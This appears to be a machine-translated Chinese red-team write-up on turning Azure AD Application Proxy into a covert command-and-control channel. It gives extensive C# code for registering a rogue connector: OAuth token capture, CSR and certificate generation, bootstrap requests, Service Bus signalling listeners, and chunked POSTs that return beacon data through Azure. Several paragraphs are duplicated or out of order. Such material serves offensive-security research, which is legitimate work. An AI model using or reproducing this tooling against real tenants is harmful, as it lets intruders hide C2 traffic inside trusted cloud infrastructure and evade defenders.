随着对域前端和检测等技术的防御日益加强,在识别常见命令和控制 (C2) 流量模式方面变得更加有效,我们适应不同出口方法的能力在不断更新。
要创建应用程序代理连接器,先下载安装程序
在安装过程中,系统会提示我们在服务启动之前使用 Azure AD 帐户进行身份验证。几分钟后,我们刷新连接器列表,我们的主机名应该会弹出
部署连接器后,我们接下来需要创建一个新应用程序,我们安装的连接器将在该应用程序上转发流量。
创建应用程序端点并启动并运行我们的连接器后,我们可以继续检查 TLS 流量。Fiddler 非常适合这个,但是如果我们试图在 Fiddler 运行时启动连接器服务,我们就会遇到问题。
这给了我们第一个迹象,表明应用程序代理可能正在使用客户端证书进行相互身份验证。快速检查证书存储,我们可以看到确实如此。
为了帮助 Fiddler 传递我们的证书,我们只需导出证书的公钥并将其~\Documents\Fiddler2作为ClientCertificate.cer. 添加后,我们将看到后续请求将/ConnectorBootstrap正常进行,并且我们将看到我们的第一个 XML blob 被发送到 Azure,其中包含有关我们环境的一些信息。
对此请求的响应包含有关应如何建立 Web Socket 通道的信息,我们看到正在初始化正如我们稍后将在帖子中看到的那样,这些 Web Socket 连接实际上是应用程序代理使用的信令通道,用于指示何时发出入站请求,接下来传递请求的URL、发送的参数、提供的cookies和headers等信息。
这些 Web Socket 连接实际上是应用程序代理使用的信号通道,用于指示何时发出入站请求,传递请求的 URL、发送的参数、提供的 cookie 和标头等信息。一旦建立了每个信号通道,连接器服务就会等待 Azure 向它传递一些数据。当我们向我们的应用程序 URL 发出请求时,我们会看到应用程序代理突然出现,这当然会发生。由 Web Socket 发出信号,连接器向 发出请求/subscriber/admin,其中返回的 JSON 有效负载提供有关连接器应将入站请求转发到何处的信息,
最后我们看到一个响应被传送到 Azure,其中包含来自目标 HTTP 服务器的中继数据。此数据作为对 的分块 POST 请求提供/subscriber/connection。
处理完请求后,Web 应用程序的内容就会出现在我们的 URL 中。
在重新创建连接器的过程中,我们需要解决的第一件事是客户端证书创建过程。它的工作方式是通过导航到以下 URL 来生成身份验证令牌:
https://login.microsoftonline.com/common/oauth2/authorize?resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=55747057-9b5d-4bd4-b387-abf52a8bd489&response_type=code&haschrome=1&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient&client-request-id=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&prompt=login&x-client-SKU=PCL.Desktop&x-client-Ver=3.19.8.16603&x-client-CPU=x64&x-client-OS=Microsoft+Windows+NT+10.0.19041.0
一旦 OAuth 身份验证完成,我们将被重定向到一个 URL
https://login.microsoftonline.com/common/oauth2/nativeclient?code=EXTRA_LONG_TOKEN_HERE&session_state=SESSION_STATE_HERE
我们需要获取code参数值,这是我们的身份验证令牌,并向 Azure 发出第二个请求以制作 JWT。
protected static string RequestAccessToken(string token)
{
string result;
HttpWebRequest request = (HttpWebRequest)WebRequest.CreateHttp(OAuthEndpoint);
request.Method = "POST";
request.Headers[SKUHeaderName] = SKUHeader;
request.Headers[VerHeaderName] = VersionHeader;
request.Headers[CPUHeaderName] = CPUHeader;
request.Headers[OSHeaderName] = OSHeader;
request.Headers[PKeyAuthHeaderName] = PKeyAuthHeader;
request.Headers[ClientRequestHeaderName] = Guid.NewGuid().ToString();
request.Headers[ReturnClientHeaderName] = ReturnClientHeader;
using (StreamWriter sw = new StreamWriter(request.GetRequestStream()))
{
sw.Write(String.Format("resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=55747057-9b5d-4bd4-b387-abf52a8bd489&grant_type=authorization_code&code={0}&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient", token));
}
...
作为响应,我们将收到一个 JWT,我们需要用它来生成我们的客户端证书。接下来,我们需要生成私钥和相应的证书签名请求。为此,我们将使用CertEnroll COM类来生成我们的 CSR 和私钥:
protected static string GenerateCSR()
{
var objPrivateKey = new CX509PrivateKey();
objPrivateKey.MachineContext = false;
objPrivateKey.Length = 2048;
objPrivateKey.ProviderType = X509ProviderType.XCN_PROV_RSA_AES;
objPrivateKey.KeySpec = X509KeySpec.XCN_AT_KEYEXCHANGE;
objPrivateKey.KeyUsage = X509PrivateKeyUsageFlags.XCN_NCRYPT_ALLOW_ALL_USAGES;
objPrivateKey.CspInformations = new CCspInformations();
objPrivateKey.CspInformations.AddAvailableCsps();
objPrivateKey.ExportPolicy = X509PrivateKeyExportFlags.XCN_NCRYPT_ALLOW_EXPORT_FLAG;
objPrivateKey.Create();
var cert = new CX509CertificateRequestPkcs10();
cert.InitializeFromPrivateKey(X509CertificateEnrollmentContext.ContextUser, objPrivateKey, string.Empty);
var objExtensionKeyUsage = new CX509ExtensionKeyUsage();
objExtensionKeyUsage.InitializeEncode((X509KeyUsageFlags)X509KeyUsageFlags.XCN_CERT_DIGITAL_SIGNATURE_KEY_USAGE |
X509KeyUsageFlags.XCN_CERT_NON_REPUDIATION_KEY_USAGE |
X509KeyUsageFlags.XCN_CERT_KEY_ENCIPHERMENT_KEY_USAGE |
X509KeyUsageFlags.XCN_CERT_DATA_ENCIPHERMENT_KEY_USAGE
);
cert.X509Extensions.Add((CX509Extension)objExtensionKeyUsage);
var cobjectId = new CObjectId();
cobjectId.InitializeFromName(CERTENROLL_OBJECTID.XCN_OID_PKIX_KP_CLIENT_AUTH);
var cobjectIds = new CObjectIds();
cobjectIds.Add(cobjectId);
var pValue = cobjectIds;
var cx509ExtensionEnhancedKeyUsage = new CX509ExtensionEnhancedKeyUsage();
cx509ExtensionEnhancedKeyUsage.InitializeEncode(pValue);
cert.X509Extensions.Add((CX509Extension)cx509ExtensionEnhancedKeyUsage);
var cx509Enrollment = new CX509Enrollment();
cx509Enrollment.InitializeFromRequest(cert);
var output = cx509Enrollment.CreateRequest(EncodingType.XCN_CRYPT_STRING_BASE64);
return output;
}
获得 CSR 后,我们可以使用带有端点的 WCF 将其传递给 Azure
https://[AZURE-SUBSCRIPTION-ID].registration.msappproxy.net/register。
我不会在这里涵盖所有的 WCF 代码,因为它相当冗长,但我们基本上传递了一个RegistrationRequest对象内的编码 CSR 以及关于我们的连接器机器的一些细节。我们传递的对象填充为:响应我们的请求,我们获得了一个签名证书,我们可以使用它来生成 PFX。我们将把它导出到一个新文件,稍后我们将把它捆绑在我们制作的连接器中:
var registrationRequest = new Microsoft.ApplicationProxy.Common.Registration.RegistrationRequest()
{
Base64Csr = output,
Feature = Microsoft.ApplicationProxy.Common.ConnectorFeature.ApplicationProxy,
FeatureString = Feature,
RegistrationRequestSettings = new Microsoft.ApplicationProxy.Common.Registration.RegistrationRequestSettings()
{
SystemSettingsInformation = new Microsoft.ApplicationProxy.Common.Utilities.SystemSettings.SystemSettings()
{
MachineName = MachineName,
OsLanguage = OSLanguage,
OsLocale = OSLocale,
OsSku = OSSKU,
OsVersion = OSVersion
},
PSModuleVersion = PSModuleVersion,
SystemSettings = new Microsoft.ApplicationProxy.Common.Utilities.SystemSettings.SystemSettings()
{
MachineName = MachineName,
OsLanguage = OSLanguage,
OsLocale = OSLocale,
OsSku = OSSKU,
OsVersion = OSVersion
}
},
TenantId = tennantID.Value,
UserAgent = UserAgent
};
为了响应我们的请求,我们获得了一个签名证书,我们可以使用它来生成 PFX。我们将把它导出到一个新文件,稍后我们将把它捆绑在我们制作的连接器中:
var certifiateData = result.Certificate;
var certificateEnrollmentContext = X509CertificateEnrollmentContext.ContextUser;
CX509Enrollment cx509Enrollment = new CX509Enrollment();
cx509Enrollment.Initialize(certificateEnrollmentContext);
cx509Enrollment.InstallResponse(InstallResponseRestrictionFlags.AllowUntrustedCertificate, Convert.ToBase64String(certificateData), EncodingType.XCN_CRYPT_STRING_BASE64, null);
// Export PFX to file with password 'password'
var pfx = cx509Enrollment.CreatePFX("password", PFXExportOptions.PFXExportChainNoRoot, EncodingType.XCN_CRYPT_STRING_BASE64);
using (var fs = File.OpenWrite(outputPath))
{
var decoded = Convert.FromBase64String(pfx);
fs.Write(decoded, 0, decoded.Length);
}
最后,我们需要连接器 ID UUID,我们现在可以在 Azure 门户应用程序代理连接器设置中找到它:
找到自动化此过程的 POC 的源代码。
由于这项技术依赖于服务总线,我们将通过安装 NuGet 包来启动我们的项目WindowsAzure.ServiceBus。我们从初步审查中得知,我们需要将引导请求发送到端点https://[AZURE-SUBSCRIPTION-ID].bootstrap.msappproxy.net。将任何请求发送到应用程序代理时,我们需要确保我们只使用 TLS 1.2,我们可以通过以下方式进行设置:
ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;
我们还需要确保服务总线通过 HTTPS 而不是 TCP 运行:
ServiceBusEnvironment.SystemConnectivity.Mode = Microsoft.ServiceBus.ConnectivityMode.Https;
然后我们可以使用以下方法制作我们的 WCF 通道:
if (!Uri.TryCreate(String.Format("https://{0}.bootstrap.msappproxy.net", SubscriptionId), UriKind.Absolute, out serviceEndpoint))
{
throw new BootstrapException(String.Format("Could not parse provided URI: {0}", String.Format(BootstrapURL, SubscriptionId)));
}
var serviceChannel = new WebChannelFactory<IBootstrapService>(new WebHttpBinding
{
Security = {
Mode = WebHttpSecurityMode.Transport,
Transport = {
ClientCredentialType = HttpClientCredentialType.Certificate
}
}
}, serviceEndpoint)
{
Credentials = {
ClientCertificate = {
Certificate = clientCert
}
}
};
clientCert为了进一步解释这个 blob,
我们正在做的是告诉 .NET在向发出请求时使用我们之前生成的客户端证书serviceEndpoint,
该证书将被设置为https://[AZURE-SUBSCRIPTION-ID].bootstrap.msappproxy.net.
我们将发送的请求将由一个对象表示BootstrapRequest,我们需要用各种参数填充该对象:
private const string LastNETVersion = "461814";
private const string MachineName = "poc.lab.local";
private const string OSLanguage = "1033";
private const string OSLocale = "0409";
private const string OSSKU = "79";
private const string OSVersion = "10.0.17763";
private const string SDKVersion = "1.5.1975.0";
...
BootstrapRequest request = new BootstrapRequest
{
InitialBootstrap = true,
ConsecutiveFailures = 0,
RequestId = requestId,
SubscriptionId = SubscriptionId,
ConnectorId = ConnectorId,
AgentVersion = SDKVersion,
AgentSdkVersion = SDKVersion,
ProxyDataModelVersion = SDKVersion,
BootstrapDataModelVersion = SDKVersion,
MachineName = MachineName,
OperatingSystemVersion = OSVersion,
OperatingSystemSKU = OSSKU,
OperatingSystemLanguage = OSLanguage,
OperatingSystemLocale = OSLocale,
UseSpnegoAuthentication = false,
UseServiceBusTcpConnectivityMode = false,
IsProxyPortResponseFallbackDisabledFromRegistry = true,
CurrentProxyPortResponseMode = "Primary",
UpdaterStatus = "Running",
LatestDotNetVersionInstalled = LastNETVersion,
PerformanceMetrics = new ConnectorPerformanceMetrics(new List<AggregatedCpuData>(), 0, 0, 0, 0),
};
最后,我们可以将其发送到 Azure 并检索响应:
var bootstrapService = serviceChannel.CreateChannel();
var resp = bootstrapService.ConnectorBootstrapAsync(request);
var result = resp.GetAwaiter().GetResult();
收到响应后,我们将需要使用服务总线设置我们的 Web 套接字通道。我们这样做是通过获取从我们的引导请求返回的对象列表SignalingListenerEndpoints来构建我们的信令 Web Socket 通道:
// Generate the websocket URL from the returned ServiceBusSignalingListenerEndpointSettings
string address = string.Format("{0}://{1}.{2}/{3}",
signallingEndpointSettings.Scheme,
signallingEndpointSettings.Namespace,
signallingEndpointSettings.Domain,
signallingEndpointSettings.ServicePath
);
if (!Uri.TryCreate(address, UriKind.Absolute, out signallingURI))
{
throw new BootstrapException(String.Format("Could not parse provided signalling URI: {0}", address));
}
var host = new ServiceHost(typeof(ConnectorSignalingService), signallingURI);
var tokenProvider = TokenProvider.CreateSharedAccessSignatureTokenProvider(signallingEndpointSettings.SharedAccessKeyName, signallingEndpointSettings.SharedAccessKey);
var endpoint = host.AddServiceEndpoint(typeof(Microsoft.ApplicationProxy.Common.SignalingDataModel.IConnectorSignalingService), binding, address);
var transportClientEndpointBehavior = new TransportClientEndpointBehavior(tokenProvider);
endpoint.EndpointBehaviors.Add(statusBehavior);
endpoint.EndpointBehaviors.Add(transportClientEndpointBehavior);
host.Open();
在我们的例子中,我们通过服务总线公开的服务需要符合接口IConnectorSignalingService:
[ServiceBehavior(InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple, Namespace = "Microsoft.ApplicationProxy.Connector.Listener")]
public class ConnectorSignalingService : IConnectorSignalingService
{
该接口要求我们公开一个SignalConnectorAsync
方法,该方法将传递有关入站请求的信息:
public Task<SignalResult> SignalConnectorAsync(SignalMessage message)
{
...
}
现在当请求通过服务总线传入时,我们将收到一个SignalMessage对象参数,其中包含一些基本信息,包括ReturnHost,我们将在此处将响应定向到此入站请求。
我们现在能够看到有关入站请求的信息,在隧道 C2 流量时需要
在这一点上,仍然缺少一部分拼图。在信令请求中,我们将看到有关GET请求的信息,但是请求的正文呢POST?为了检索任何进一步的数据,我们需要向 URL 发出请求:
https://[RETURN_HOST]/subscriber/payload?requestId=ID_OF_REQUEST;
对此的响应将为我们提供作为请求的一部分发送的任何数据:在这个阶段,我们需要实际处理请求。合法的应用程序代理连接器会将此请求中继到某些内部服务,但在我们的例子中,我们希望在此通道上运行 C2,因此我们将实施外部 C2,因此我们不需要在任何地方中继请求。
在这个阶段我们需要实际处理请求。现在合法的应用程序代理连接器当然会将此请求中继到某些内部服务,但我们希望在此通道上运行 C2,因此我们将只实施外部 C2,因此我们不需要在任何地方中继请求。一旦我们有一些数据要从外部 C2 返回,我们再次需要使用ReturnHostURL 向 HTTPS 请求:
https://[RETURN_HOST]/subscriber/payload?requestId=ID_OF_REQUEST
在这里我们将我们的数据 POST 回来,这些数据将被返回:
const string SubscriberConnection = "https://{0}/subscriber/connection?requestId={1}";
var originalHeaders = string.Format("HTTP/1.1 200 OK\r\nDate: {0} GMT\r\nContent-Length: {1}\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/10.0\r\n\r\n", DateTime.Now.ToUniversalTime().ToString("r"), beaconResponse.Length);
// Send the response
request = (HttpWebRequest)WebRequest.CreateHttp(String.Format(SubscriberConnection, message.OverridenReturnHost, Guid.NewGuid()));
request.Headers[SessionIDHeader] = message.SessionId.ToString();
request.Headers[CertificateAuthenticationHeader] = CertificateAuthenticationValue;
request.Headers[DnsCacheLookupHeader] = DnsCacheLookupValue;
request.Headers[ConnectorHeader] = ConnectorValue;
request.Headers[DataModelHeader] = DataModelValue;
request.Headers[ConnectorSPHeader] = ConnectorSPValue;
request.Headers[TransactionIDHeader] = message.TransactionId.ToString();
request.Headers[UseDefaultProxyHeader] = UseDefaultProxyValue;
request.Headers[HeadersSizeHeader] = (originalHeaders.Length).ToString();
request.Headers[ConnectorLatencyHeader] = ConnectorLatencyValue;
request.Headers[PayloadAttemptsHeader] = PayloadAttemptsValue;
request.Headers[ConnectorLoadFactoryHeader] = ConnectorLoadFactoryValue;
request.Headers[ReponseAttemptsHeader] = ResponseAttemptsValue;
request.Headers[ConnectorAllLatencyHeader] = ConnectorAllLatencyValue;
request.AllowWriteStreamBuffering = false;
request.ClientCertificates.Add(C2Bus.AppProxyC2.clientCert);
request.Method = "POST";
request.SendChunked = true;
var concatBytes = ASCIIEncoding.ASCII.GetBytes(originalHeaders).Concat(ASCIIEncoding.ASCII.GetBytes(beaconResponse)).ToArray();
using (Stream writer = request.GetRequestStream())
{
writer.Write(concatBytes, 0, concatBytes.Length);
}
这就是建立身份验证、服务总线信号通道和通过应用程序代理传输数据的大部分内容。全部连接好后我们得到一个很好的外部 C2 连接: